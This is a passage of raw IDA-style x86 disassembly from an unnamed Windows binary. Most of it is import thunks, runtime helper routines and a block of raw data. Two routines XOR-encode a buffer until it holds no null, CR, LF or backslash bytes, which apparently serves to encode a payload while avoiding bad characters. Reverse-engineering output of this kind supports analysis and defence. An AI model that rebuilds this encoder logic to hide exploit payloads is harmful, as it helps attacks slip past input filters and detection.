		push	ebp
		call	sub_4012F3
		add	esp, 0Ch
		test	al, al
		jnz	short loc_42FFB4
		push	0
		push	ebx
		push	ebp
		call	sub_4012F3
		add	esp, 0Ch
		test	al, al
		jnz	short loc_42FFB4
		push	0Ah
		push	ebx
		push	ebp
		call	sub_4012F3
		add	esp, 0Ch
		test	al, al
		jnz	short loc_42FFB4
		push	0Dh
		push	ebx
		push	ebp
		call	sub_4012F3
		add	esp, 0Ch
		test	al, al
		jz	short loc_42FFEF


loc_42FFB4:				; CODE XREF: _294ADE7B:0042FF82j
					; _294ADE7B:0042FF92j ...
		mov	esi, [esp+18h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+14h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+14h], ecx
		jle	short loc_42FFE6


loc_42FFD9:				; CODE XREF: _294ADE7B:0042FFE4j
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_42FFD9


loc_42FFE6:				; CODE XREF: _294ADE7B:0042FFD7j
		mov	edx, [esp+10h]
		mov	[edx+13h], cl
		jmp	short loc_42FF74
; ---------------------------------------------------------------------------


loc_42FFEF:				; CODE XREF: _294ADE7B:0042FFB2j
		mov	eax, [esp+18h]
		push	eax
		call	ds:dword_4B3AAC
		mov	ecx, [esp+2030h]
		mov	edx, [esp+202Ch]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+14h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+14h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, ds:dword_4B3AAC
		call	esi
		push	ebp
		call	esi
		add	esp, 0Ch
		lea	eax, [ebx+18h]	; DATA XREF: _5AD6BD6B:off_43BD8Co
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 200Ch
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4300F0:				; CODE XREF: _294ADE7B:00401839j
		push	ecx
		push	ebx
		mov	ebx, [esp+10h]
		push	ebp
		push	esi
		push	edi
		push	ebx
		mov	dword ptr [esp+14h], 98h
		call	ds:dword_4B3AB0
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	ds:dword_4B3AB0
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, [esp+30h]
		add	esp, 8
		mov	ecx, 6
		mov	esi, offset dword_43FA8C
		mov	edi, edx
		mov	[esp+1Ch], edx
		test	eax, eax
		rep movsd
		jz	short loc_43016D
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_43016D:				; CODE XREF: _294ADE7B:00430164j
		push	ebx
		call	ds:dword_4B3AB0
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+1Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+1Ch]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_4301AF:				; CODE XREF: _294ADE7B:00430228j
		push	5Ch
		push	ebx
		push	ebp
		call	sub_4012F3
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4301EF
		push	0
		push	ebx
		push	ebp
		call	sub_4012F3
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4301EF
		push	0Ah
		push	ebx
		push	ebp
		call	sub_4012F3
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4301EF
		push	0Dh
		push	ebx
		push	ebp
		call	sub_4012F3
		add	esp, 0Ch
		test	al, al
		jz	short loc_43022A


loc_4301EF:				; CODE XREF: _294ADE7B:004301BDj
					; _294ADE7B:004301CDj ...
		mov	esi, [esp+18h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_430221


loc_430214:				; CODE XREF: _294ADE7B:0043021Fj
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_430214


loc_430221:				; CODE XREF: _294ADE7B:00430212j
		mov	edx, [esp+1Ch]
		mov	[edx+13h], cl
		jmp	short loc_4301AF
; ---------------------------------------------------------------------------


loc_43022A:				; CODE XREF: _294ADE7B:004301EDj
		mov	eax, [esp+18h]
		push	eax
		call	ds:dword_4B3AAC
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+20h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+20h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, ds:dword_4B3AAC
		call	esi
		push	ebp
		call	esi
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 68h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4302F8	proc near		; CODE XREF: _294ADE7B:00424817p
					; _294ADE7B:00424854p
		jmp	ds:dword_4B3B68
sub_4302F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4302FE	proc near		; CODE XREF: _294ADE7B:00424779p
		jmp	ds:dword_4B3B78
sub_4302FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_430304	proc near		; CODE XREF: _294ADE7B:004246E1p
					; _294ADE7B:0042486Cp ...
		jmp	ds:dword_4B3B74
sub_430304	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43030A	proc near		; CODE XREF: _294ADE7B:004246ADp
		jmp	ds:dword_4B3B70
sub_43030A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_430310	proc near		; CODE XREF: _294ADE7B:00424688p
					; _294ADE7B:004246D0p ...
		jmp	ds:dword_4B3B6C
sub_430310	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_430316	proc near		; CODE XREF: _294ADE7B:004316EBj
					; _294ADE7B:00431A65j ...
		jmp	ds:dword_4B3AF4
sub_430316	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_430320	proc near		; DATA XREF: _8C6BDE73:off_437004o
					; _8C6BDE73:00437018o ...
		jmp	ds:dword_4B3AF0
sub_430320	endp

; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3AEC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3AE8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_430332	proc near		; CODE XREF: _294ADE7B:00406890p
					; sub_4068B0+11p ...
		jmp	ds:dword_4B3AE4
sub_430332	endp

; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3AE0
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3ADC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3AD8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43034A	proc near		; CODE XREF: sub_4068E0+47p
					; sub_4068E0+9Ap ...
		jmp	ds:dword_4B3AD4
sub_43034A	endp

; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3AD0
; ---------------------------------------------------------------------------
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_437100
		retn	4
; ---------------------------------------------------------------------------


loc_430361:				; DATA XREF: _8C6BDE73:off_437100o
		push	esi
		mov	esi, ecx
		call	sub_430716
		test	byte ptr [esp+8], 1
		jz	short loc_430377
		push	esi
		call	sub_430332
		pop	ecx


loc_430377:				; CODE XREF: _294ADE7B:0043036Ej
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		mov	eax, ecx
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_430382	proc near		; CODE XREF: _294ADE7B:0040912Dp
					; _294ADE7B:0040A4FDp
		jmp	ds:dword_4B3ACC
sub_430382	endp

; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3AC8
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_430390	proc near		; CODE XREF: sub_409B90+5p
					; sub_40EB00+1Ap ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_4303B0


loc_43039C:				; CODE XREF: sub_430390+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_43039C


loc_4303B0:				; CODE XREF: sub_430390+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_430390	endp

; ---------------------------------------------------------------------------
		align 10h
		jmp	ds:dword_4B3AC4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3AC0
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3ABC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3AB8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3AB4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3AB0

; =============== S U B	R O U T	I N E =======================================



sub_4303E4	proc near		; CODE XREF: _294ADE7B:00430414p

arg_0		= dword	ptr  4

		cmp	ds:dword_4B2814, 0FFFFFFFFh
		jnz	short loc_4303F9
		push	[esp+arg_0]
		call	ds:dword_4B3A24
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4303F9:				; CODE XREF: sub_4303E4+7j
		push	offset dword_4B2804
		push	offset dword_4B2814
		push	[esp+8+arg_0]
		call	sub_43071C
		add	esp, 0Ch
		retn
sub_4303E4	endp

; ---------------------------------------------------------------------------
		push	dword ptr [esp+4]
		call	sub_4303E4
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3AAC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3AA8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3AA0
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3A9C

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43043A	proc near		; CODE XREF: sub_417F90+28p
		jmp	ds:dword_4B3A98
sub_43043A	endp


; =============== S U B	R O U T	I N E =======================================



sub_430440	proc near		; CODE XREF: sub_419EF0+54p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_430461
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_4304B1
; ---------------------------------------------------------------------------


loc_430461:				; CODE XREF: sub_430440+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_43046F:				; CODE XREF: sub_430440+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_43046F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_43049A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_43049A
		jb	short loc_4304A2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_4304A2


loc_43049A:				; CODE XREF: sub_430440+4Aj
					; sub_430440+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_4304A2:				; CODE XREF: sub_430440+52j
					; sub_430440+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_4304B1:				; CODE XREF: sub_430440+1Fj
		pop	ebx
		retn	10h
sub_430440	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4304C0	proc near		; CODE XREF: sub_419EF0+30p
					; sub_419EF0+3Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_4304E2
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_430523
; ---------------------------------------------------------------------------


loc_4304E2:				; CODE XREF: sub_4304C0+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_4304F0:				; CODE XREF: sub_4304C0+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_4304F0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_43051E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_43051E
		jb	short loc_43051F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_43051F


loc_43051E:				; CODE XREF: sub_4304C0+4Ej
					; sub_4304C0+54j
		dec	esi


loc_43051F:				; CODE XREF: sub_4304C0+56j
					; sub_4304C0+5Cj
		xor	edx, edx
		mov	eax, esi


loc_430523:				; CODE XREF: sub_4304C0+20j
		pop	esi
		pop	ebx
		retn	10h
sub_4304C0	endp

; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3A94
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3A90
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3A8C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3A88
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3A84
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3A80
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3A7C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3A78
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3A74
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3A70
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3A6C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3A64
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3B04
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3A58
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3A54
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3A50
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3A4C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3A48
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3A44
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3A40
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3A3C

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4305A6	proc near		; CODE XREF: sub_42BFB0+37p
					; sub_42E070+39p
		jmp	ds:dword_4B3A38
sub_4305A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4305AC	proc near		; CODE XREF: _294ADE7B:0042C82Cp
		jmp	ds:dword_4B3A34
sub_4305AC	endp

; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3A30
; ---------------------------------------------------------------------------
		dd 74E8D0A1h, 870E1D3Ah, 0E8D0A143h, 9E3D7AF4h,	0A953A74Fh
		dd 0CA952A54h, 3C79F2E5h, 93274F9Eh, 89122449h,	2851A244h
		dd 12254A94h, 0F815FF89h, 59004B39h, 28040D83h,	83FF004Bh
		dd 4B28140Dh, 15FFFF00h, 4B39FCh, 270C0D8Bh, 889004Bh
		dd 3A0015FFh, 0D8B004Bh, 4B2708h, 8A10889h, 8B004B3Ah
		dd 27F8A300h, 2EE8004Bh, 39000001h, 43FBB01Dh, 680C7500h
		dd 430752h, 3A0C15FFh, 0E859004Bh, 0FAh, 43B41868h, 0B3146800h
		dd 0E5E80043h, 0A1000000h, 4B2704h, 8D944589h, 0FF509445h
		dd 4B270035h, 9C458D00h, 90458D50h, 0A0458D50h,	1415FF50h
		dd 68004B3Ah, 43B210h, 43B00068h, 0B2E800h, 0C4830000h
		dd 3A18A124h, 308B004Bh, 808C7589h, 3A75223Eh, 8C758946h
		dd 0C33A068Ah, 223C0474h, 3E80F275h, 46047522h,	8A8C7589h
		dd 74C33A06h, 76203C04h, 0D05D89F2h, 50A4458Dh,	37E815FFh
		dd 45F6004Bh, 117401D0h, 0D445B70Fh, 3E800EEBh,	46D87620h
		dd 0EB8C7589h, 580A6AF5h, 53535650h, 38C015FFh,	0E850004Bh
		dd 0FFFD169Dh, 50984589h, 3AB815FFh, 458B004Bh,	8B088BECh
		dd 884D8909h, 21E85150h, 59000000h, 658BC359h, 8875FFE8h
		dd 3A2015FFh
		db 4Bh,	0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_430716	proc near		; CODE XREF: _294ADE7B:00430364p
		jmp	ds:dword_4B3A2C
sub_430716	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43071C	proc near		; CODE XREF: sub_4303E4+23p
		jmp	ds:dword_4B3A28
sub_43071C	endp

; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3A20
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3A1C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3A14
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3A10
; ---------------------------------------------------------------------------
		push	30000h
		push	10000h
		call	sub_43076E
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3A0C
; ---------------------------------------------------------------------------
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3A00
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B39FC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B39F8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3A60

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43076E	proc near		; CODE XREF: _294ADE7B:00430744p
		jmp	ds:dword_4B3AA4
sub_43076E	endp

; ---------------------------------------------------------------------------
		jmp	ds:dword_4B39B8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B39B4
; ---------------------------------------------------------------------------


loc_430780:				; DATA XREF: _8C6BDE73:00437F94o
		jmp	ds:dword_4B39B0
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B39AC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B39A8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B39A4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B39A0
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B399C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B39C0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4307B0	proc near		; CODE XREF: sub_4178D0+190p
		jmp	ds:dword_4B3D0C
sub_4307B0	endp

; ---------------------------------------------------------------------------
		jmp	ds:dword_4B38D0
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B38D4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B38D8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B38DC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B38E0
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B38E4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B38E8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B38EC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B38F0
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B38F4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B38F8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B38CC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B38C8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B38C4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B38C0
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B38BC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B38B8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B38B4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B38B0
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B38AC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B38A8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B38A4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B38A0
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B389C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3898
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3894
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3890
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B388C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3888
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3884
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B38FC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3880
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B387C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3878
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3874
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3870
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B386C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3868
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3864
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3860
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B385C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3858
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3854
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3850
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B384C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3848
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3844
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3840
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B383C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3838
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3834
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3830
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B382C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3828
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3824
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3820
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B381C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3818
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3814
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3810
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B380C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3808
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3804
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3800
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B37FC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B37F8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B37F4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B37F0
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B37EC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B37E8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3C18
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3C14
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3730
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3778
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3774
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3770
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B376C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3768
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3764
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3760
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B375C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3758
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3754
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3750
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B374C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3748
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3744
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3740
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B373C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3738
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3734
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3728
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3724
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3720
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B372C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3BE4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3CA0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4309FC	proc near		; CODE XREF: sub_4279B0+E1p
		jmp	ds:dword_4B3CA4
sub_4309FC	endp

; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3CC0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_430A08	proc near		; CODE XREF: sub_4279B0+D2p
		jmp	ds:dword_4B3CBC
sub_430A08	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_430A0E	proc near		; CODE XREF: sub_428720+187p
					; sub_428720+26Ep
		jmp	ds:dword_4B3CB8
sub_430A0E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_430A14	proc near		; CODE XREF: sub_4279B0+17Bp
					; sub_428720+201p
		jmp	ds:dword_4B3CB4
sub_430A14	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_430A1A	proc near		; CODE XREF: sub_4279B0+B1p
		jmp	ds:dword_4B3CB0
sub_430A1A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_430A20	proc near		; CODE XREF: sub_4279B0+12Fp
					; sub_428720+152p
		jmp	ds:dword_4B3CAC
sub_430A20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_430A26	proc near		; CODE XREF: sub_4279B0+1B1p
					; sub_4279B0+1E4p ...
		jmp	ds:dword_4B3CA8
sub_430A26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_430A2C	proc near		; CODE XREF: sub_428340+9Ap
					; sub_428EF0+45p ...
		jmp	ds:dword_4B3C9C
sub_430A2C	endp

; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3C70

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_430A38	proc near		; CODE XREF: sub_427930+10p
		jmp	ds:dword_4B3C48
sub_430A38	endp

; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3C4C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4B3C50

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_430A4A	proc near		; CODE XREF: sub_428720+239p
		jmp	ds:dword_4B3C54
sub_430A4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_430A50	proc near		; CODE XREF: sub_428720+226p
		jmp	ds:dword_4B3C58
sub_430A50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_430A56	proc near		; CODE XREF: sub_428020+71p
					; sub_428C00+50p
		jmp	ds:dword_4B3C5C
sub_430A56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


